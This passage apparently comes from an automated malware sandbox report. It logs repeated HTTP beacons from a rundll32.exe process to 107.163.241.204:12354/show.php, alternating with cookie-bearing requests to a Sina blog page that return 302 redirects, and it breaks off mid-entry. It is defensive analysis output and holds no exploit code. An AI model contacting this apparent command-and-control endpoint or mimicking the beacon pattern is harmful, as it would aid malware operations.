Dec 11, 2024 16:27:57.592732906 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:57 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50084	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:56.023853064 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50106	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:58.156562090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50108	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:58.281598091 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50121	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:59.845781088 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50123	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:00.001235008 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:01.557259083 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:01 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50124	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:00.001349926 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50146	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:02.306674957 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50148	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:02.542670012 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	50163	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:03.980678082 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	50166	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:04.095062971 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	50167	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:04.134545088 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:05.856730938 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:05 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50195	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:06.220885992 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	50197	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:06.333921909 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	50212	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:08.000478983 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	50213	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:08.120835066 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:10.234337091 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:09 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	50214	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:08.120933056 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	50235	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:10.234067917 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	50238	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:10.344650030 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	50263	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:12.044780970 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50266	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:12.171161890 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	50268	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:12.190084934 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:13.760891914 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:13 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	50291	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:14.279655933 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	50294	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:14.396169901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	50321	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:16.078077078 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	50323	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:16.178069115 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	50324	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:16.178539991 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:17.761085987 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:17 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	50361	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:18.297357082 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	50364	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:18.406192064 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	50398	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:20.076509953 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50402	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:20.191751957 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	50403	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:20.191934109 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:21.765897036 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:21 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	50446	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:22.338227987 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	50449	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:22.454225063 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	50485	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:24.096466064 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50489	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:24.205993891 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:25.778378010 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:25 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50490	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:24.206604004 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50540	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:26.445537090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	50544	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:26.565165043 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50549	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:26.694190025 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50553	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:26.808521986 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50558	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
